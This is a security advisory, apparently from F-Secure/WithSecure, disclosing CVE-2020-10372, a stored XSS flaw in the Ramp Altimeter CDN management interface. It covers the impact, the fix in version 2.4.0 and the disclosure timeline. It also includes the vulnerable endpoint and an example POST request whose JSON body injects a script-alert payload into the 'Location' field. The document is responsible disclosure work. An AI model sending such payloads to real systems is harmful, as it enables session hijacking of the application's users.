

Advisories

Ramp Altimeter Stored XSS

CVE-2020-10372

Type

XSS

Severity

Medium

Affected products

Ramp Altimeter

Remediation

In order to address the above issue, it is recommended to update to the following version of the Altimeter software, which contains a fix for the vulnerability: AltitudeCDN Altimeter v2.4.0. Additionally, strong credentials should be used for accounts within the application, and organizations should consider only allowing access to the management interface from a white-listed set of IP addresses.

Credits

Vulnerability discovered by Rob Russell.

CVE Reference

CVE-2020-10372

[Read more](#) →**Timeline**

2019-07-29	F-Secure informs the vendor of the issue in Altimeter 2.1.0
2019-07-30	Vendor confirms the vulnerability is still present in Altimeter 2.3.1
	F-Secure informs the

Description

A Stored XSS vulnerability was discovered in Ramp Altimeter that allows a malicious user to store arbitrary JavaScript payloads on the application server.

Ramp Altimeter (<https://ramp.com/altitudecdn/altimeter>) is a web management interface for enterprise content delivery networks. It provides a GUI for administering Ramp Multicast+ and OmniCache instances, solutions used for efficient live video streaming.

The vulnerable functionality requires authentication, and is present at [http://\[HOSTNAME\]/vdms/ipmapping.jsp](http://[HOSTNAME]/vdms/ipmapping.jsp). It can be accessed by clicking the "Create..." button, and in the dialog box that appears, a malicious payload can be inserted into the "Location" field. The payload is then stored by clicking "Save" at the bottom of the dialog box.

Below is an example request that stored a malicious payload on the server:

```
POST /vdms/rest/services/datastore/createOrEditValueForKey?key=[REDACTED] HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[REDACTED]/vdms/ipmapping.jsp
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 447
Cookie: [REDACTED]
```

2019-07-30	Vendor informs F-Secure they plan to patch in version 2.4.0 with an ETA of late September	<pre>{"key":"[REDACTED]","location":"<script>alert('F-Secure');</script>","country":{"shortName":"US","name":"United States","isUserAdded":false},"state":{"name":"Arkansas","isUserAdded":false},"city":{"name":"Alma","isUserAdded":false},"isManualLatLngEntry":false,"lat":"35.4778653","lng":"-94.2218752","Cidrs":[{"isNew":true,"cidrIPSubnet":"10.0.10.0/24","interfaceType":"Wired","ID":"[REDACTED]"}]}</pre>
2019-09-18	F-Secure requests status update	
2019-09-18	Vendor informs F-Secure that the patch is scheduled to be released Q1 2020	
2020-01-13	F-Secure requests status update and sends draft of advisory to vendor	
2020-02-10	Vendor confirms that the vulnerability is patched in version 2.4.0 and approves advisory	
2020-03-10	Advisory published	

The payload is then triggered by visiting [http://\[HOSTNAME\]/vdms/ipmapping.jsp](http://[HOSTNAME]/vdms/ipmapping.jsp).

Impact

As Altimeter is typically deployed within an organization's internal network, this issue can aid an attacker who has gained a foothold in moving laterally within the the network and disrupting business operations. In particular, an attacker can use the vulnerability to target the browsers of application users. Additionally, they can gain control of the authenticated session of users who request the affected page, and can perform unauthorized actions within the application.

With Great Research Comes Great Responsibility.

Resources


- Research
- Expertise
- Tools
- Advisories
- Find Labs
- Contact us
- GitHub

WithSecure™ Company

- Contact WithSecure™
- Careers at WithSecure™

WithSecure™ Newsletter

Vulnerability Disclosure Policy

 [advisories](#)

© WithSecure 2022